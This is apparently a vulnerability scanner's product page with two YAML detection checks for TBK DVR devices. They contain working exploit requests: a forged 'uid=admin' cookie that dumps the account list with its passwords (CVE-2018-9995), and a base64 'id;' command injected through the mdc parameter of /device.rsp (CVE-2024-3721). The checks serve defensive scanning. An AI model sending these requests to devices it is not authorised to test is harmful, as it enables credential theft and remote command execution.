TBK DVR — 2 vulnerability checks
noctis ships 2 vulnerability checks for TBK DVR, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
TBK DVR (and rebrands) authentication bypass via uid=admin cookie
| CVE | CVE-2018-9995 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | http_request, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/tbk-dvr/CVE-2018-9995.yaml |
Requests the user list at /device.rsp with a Cookie: uid=admin and reports when the DVR returns the accounts (passwords redacted in the evidence), the cookie auth bypass.
How noctis detects it
- HTTP(S) request
GET /device.rsp?opt=user&cmd=list - Parses / computes the next value with a Rhai script
- Checks
verdictfor^NOCTIS_DVR_USERLIST→ finding QoD 75: Multiple DVR products authentication bypass (CVE-2018-9995)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-9995
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-9995.yaml
Feed source — tests/vulnerabilities/tbk-dvr/CVE-2018-9995.yaml
uid: 27284a96-3c4f-4fea-b3d1-035e0094e6a9
name: "CVE-2018-9995 — TBK DVR (and rebrands) authentication bypass via uid=admin cookie"
description: "Requests the user list at /device.rsp with a Cookie: uid=admin and reports when the DVR returns the accounts (passwords redacted in the evidence), the cookie auth bypass."
cves: [CVE-2018-9995]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.25
tags: [tbk, dvr, novo, cenova, qsee, night-owl, auth-bypass, credential-disclosure, cookie]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-9995"
- "OpenVAS NASL 2018/gb_mult_dvr_auth_bypass.nasl (OID 1.3.6.1.4.1.25623.1.0.141061, GPL-2.0-only)"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-9995.yaml"
# Ported from OpenVAS NASL 2018/gb_mult_dvr_auth_bypass.nasl (GPL-2.0-only, Greenbone Community Feed).
#
# TBK DVR firmware (and the Novo, CeNova, QSee, Pulnix, XVR 5 in 1, Securus and
# Night OWL rebrands) trusts a client-supplied `Cookie: uid=admin` as an
# authenticated admin session. Sending it to the user-management endpoint
# `/device.rsp?opt=user&cmd=list` returns the account list with every
# password in clear text.
#
# Real exploitation, read-only: the probe performs the actual bypass and only
# reports when the device answers the protected call with a success code
# (`"result":0`) AND an account list (`"uid":`). Nothing is written.
#
# Differences from the NASL (deliberate improvements):
# - No `Server: GNU rsp` / `Location: /login.rsp` pre-gate. Rebranded firmwares
# change those headers, so the NASL skips them (false negatives); the JSON
# reply of the protected call is the proof itself.
# - Anchored JSON match (`"result" : 0` followed by `,` or `}`), so a
# `"result":-1` / `"result":0x..` error reply can't match a substring test.
# - The disclosed passwords are redacted from the finding evidence: the scan
# report proves the leak without spreading the device's credentials.
steps:
- id: exploit
action: http_request
method: GET
path: "/device.rsp?opt=user&cmd=list"
port: "{{port}}"
tls_insecure: true
timeout_secs: 10
headers:
Cookie: "uid=admin"
store_as: resp
- id: evaluate
action: script
condition: "resp.status == 200"
code: |
let b = resp.body;
if ereg("\"result\"\\s*:\\s*0\\s*[,}]", b) && ereg("\"uid\"\\s*:", b) {
let r = ereg_replace("(\"pwd\"\\s*:\\s*\")(?:[^\"\\\\]|\\\\.)*\"", "${1}<redacted>\"", b);
"NOCTIS_DVR_USERLIST " + substr(r, 0, 399)
} else { "none" }
store_as: verdict
- id: confirm
action: match
source: verdict
pattern: "^NOCTIS_DVR_USERLIST "
on_match:
finding:
title: "Multiple DVR products authentication bypass (CVE-2018-9995)"
description: "The DVR accepted a forged `Cookie: uid=admin` as an authenticated admin session and returned its user list, including every account password in clear text, from /device.rsp?opt=user&cmd=list. Detection is read-only."
remediation: "Update the DVR firmware to a release that validates sessions server-side, or remove the device from untrusted networks. Change every account password, as they have been disclosed."
confidence_delta: 0.60 # 0.25 + 0.60 = 0.85
qod: 75
evidence: "GET /device.rsp?opt=user&cmd=list with Cookie: uid=admin returned the account list (passwords redacted): {{verdict}}"
stop: trueTBK DVR-4104 / DVR-4216 device.rsp command injection
| CVE | CVE-2024-3721 |
|---|---|
| Severity | medium · CVSS 6.3 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | http_request, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/tbk-dvr/CVE-2024-3721.yaml |
Sends a base64 `id;` command in the mdc parameter of /device.rsp and reports when the response contains its uid/gid output.
How noctis detects it
- HTTP(S) request
GET /login.rsp - Raw TCP (TLS on HTTPS), sent verbatim:
GET /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=aWQ7 HTTP/1.0 - Checks
resp.bannerforuid=\d+.*gid=\d+→ finding QoD 97: TBK DVR device.rsp command injection: …
References:
Feed source — tests/vulnerabilities/tbk-dvr/CVE-2024-3721.yaml
uid: 6a6e5736-0194-4818-afda-05b46193d958
name: "CVE-2024-3721 — TBK DVR-4104 / DVR-4216 device.rsp command injection (CVSS 6.3)"
description: "Sends a base64 `id;` command in the mdc parameter of /device.rsp and reports when the response contains its uid/gid output."
cves: [CVE-2024-3721]
cvss: 6.3
severity: medium
category: rce
confidence_base: 0.25
tags: [tbk, dvr, rce, command-injection]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-3721"
- "OpenVAS NASL 2024/tbk/gb_dvr_cmd_inj_vuln_apr24_active.nasl (GPL-2.0-only)"
# Ported from OpenVAS NASL 2024/tbk/gb_dvr_cmd_inj_vuln_apr24_active.nasl (GPL-2.0-only, Greenbone Community Feed).
# device.rsp mdc parameter OS command injection (precheck login.rsp).
steps:
- id: precheck
action: http_request
method: GET
path: "/login.rsp"
port: "{{port}}"
tls_insecure: true
timeout_secs: 10
store_as: pre
- id: probe
action: tcp_connect
port: "{{port}}"
send: "GET /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=aWQ7 HTTP/1.0\r\nHost: {{target_host}}\r\nCookie: uid=1\r\n\r\n"
condition: "pre.status == 200"
store_as: resp
- id: detect
action: match
source: resp.banner
pattern: "uid=\\d+.*gid=\\d+"
on_match:
finding:
confidence_delta: 0.7
qod: 97
evidence: "TBK DVR device.rsp command injection: {{resp.banner}}"
stop: true